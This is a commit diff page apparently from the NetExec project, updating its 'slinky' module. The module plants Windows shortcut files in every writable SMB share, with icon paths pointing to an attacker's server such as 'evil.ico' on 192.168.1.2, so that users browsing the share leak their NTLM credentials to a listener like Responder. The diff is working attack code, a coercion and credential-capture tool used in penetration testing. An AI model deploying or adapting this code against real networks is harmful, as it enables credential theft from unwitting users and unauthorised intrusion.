Skip to content

Commit 7d44b11

Browse files
Merge pull request Pennyw0rth#255 from Pennyw0rth/marshall-slinky-update
Update Slinky module
2 parents d19b524 + 9e43aab commit 7d44b11

1 file changed

Lines changed: 45 additions & 27 deletions

File tree

nxc/modules/slinky.py

Lines changed: 45 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -7,71 +7,89 @@ class NXCModule:
77
"""
88
Original idea and PoC by Justin Angel (@4rch4ngel86)
99
Module by @byt3bl33d3r
10+
Updated by @Marshall-Hallenbeck
1011
"""
1112

1213
name = "slinky"
13-
description = "Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions"
14+
description = "Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions"
1415
supported_protocols = ["smb"]
1516
opsec_safe = False
1617
multiple_hosts = True
1718

18-
def __init__(self, context=None, module_options=None):
19-
self.context = context
20-
self.module_options = module_options
19+
def __init__(self):
2120
self.server = None
2221
self.file_path = None
2322
self.lnk_path = None
2423
self.lnk_name = None
24+
self.ico_uri = None
25+
self.shares = None
2526
self.cleanup = None
2627

2728
def options(self, context, module_options):
28-
"""
29-
SERVER IP of the SMB server
30-
NAME LNK file name
29+
r"""
30+
SERVER IP of the listening server (running Responder, etc)
31+
NAME LNK file name written to the share(s)
32+
ICO_URI Override full ICO path (e.g. http://192.168.1.2/evil.ico or \\\\192.168.1.2\\testing_path\\icon.ico)
33+
SHARES Specific shares to write to (comma separated, e.g. SHARES=share1,share2,share3)
3134
CLEANUP Cleanup (choices: True or False)
3235
"""
3336
self.cleanup = False
3437

3538
if "CLEANUP" in module_options:
3639
self.cleanup = bool(module_options["CLEANUP"])
40+
context.log.debug("Cleanup set to True")
3741

3842
if "NAME" not in module_options:
3943
context.log.fail("NAME option is required!")
4044
exit(1)
45+
46+
if "SHARES" in module_options:
47+
self.shares = module_options["SHARES"].split(",")
48+
context.log.debug(f"Shares to write to: {self.shares}")
4149

4250
if not self.cleanup and "SERVER" not in module_options:
4351
context.log.fail("SERVER option is required!")
4452
exit(1)
45-
53+
54+
if "ICO_URI" in module_options:
55+
self.ico_uri = module_options["ICO_URI"]
56+
context.log.debug("Overriding")
57+
58+
4659
self.lnk_name = module_options["NAME"]
4760
self.lnk_path = f"/tmp/{self.lnk_name}.lnk"
4861
self.file_path = ntpath.join("\\", f"{self.lnk_name}.lnk")
4962

5063
if not self.cleanup:
5164
self.server = module_options["SERVER"]
5265
link = pylnk3.create(self.lnk_path)
53-
link.icon = f"\\\\{self.server}\\icons\\icon.ico"
66+
link.icon = self.ico_uri if self.ico_uri else f"\\\\{self.server}\\icons\\icon.ico"
5467
link.save()
5568

5669
def on_login(self, context, connection):
5770
shares = connection.shares()
58-
for share in shares:
59-
if "WRITE" in share["access"] and share["name"] not in [
60-
"C$",
61-
"ADMIN$",
62-
"NETLOGON",
63-
]:
64-
context.log.success(f"Found writable share: {share['name']}")
65-
if not self.cleanup:
66-
with open(self.lnk_path, "rb") as lnk:
71+
if shares:
72+
slinky_logger = context.log.init_log_file()
73+
context.log.add_file_log(slinky_logger)
74+
75+
for share in shares:
76+
# TODO: these can be written to - add an option to override these
77+
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
78+
if self.shares is not None and share["name"] not in self.shares:
79+
context.log.debug(f"Did not write to {share['name']} share as it was not specified in the SHARES option")
80+
continue
81+
82+
context.log.success(f"Found writable share: {share['name']}")
83+
if not self.cleanup:
84+
with open(self.lnk_path, "rb") as lnk:
85+
try:
86+
connection.conn.putFile(share["name"], self.file_path, lnk.read)
87+
context.log.success(f"Created LNK file on the {share['name']} share")
88+
except Exception as e:
89+
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
90+
else:
6791
try:
68-
connection.conn.putFile(share["name"], self.file_path, lnk.read)
69-
context.log.success(f"Created LNK file on the {share['name']} share")
92+
connection.conn.deleteFile(share["name"], self.file_path)
93+
context.log.success(f"Deleted LNK file on the {share['name']} share")
7094
except Exception as e:
71-
context.log.fail(f"Error writing LNK file to share {share['name']}: {e}")
72-
else:
73-
try:
74-
connection.conn.deleteFile(share["name"], self.file_path)
75-
context.log.success(f"Deleted LNK file on the {share['name']} share")
76-
except Exception as e:
77-
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")
95+
context.log.fail(f"Error deleting LNK file on share {share['name']}: {e}")

0 commit comments

Comments
 (0)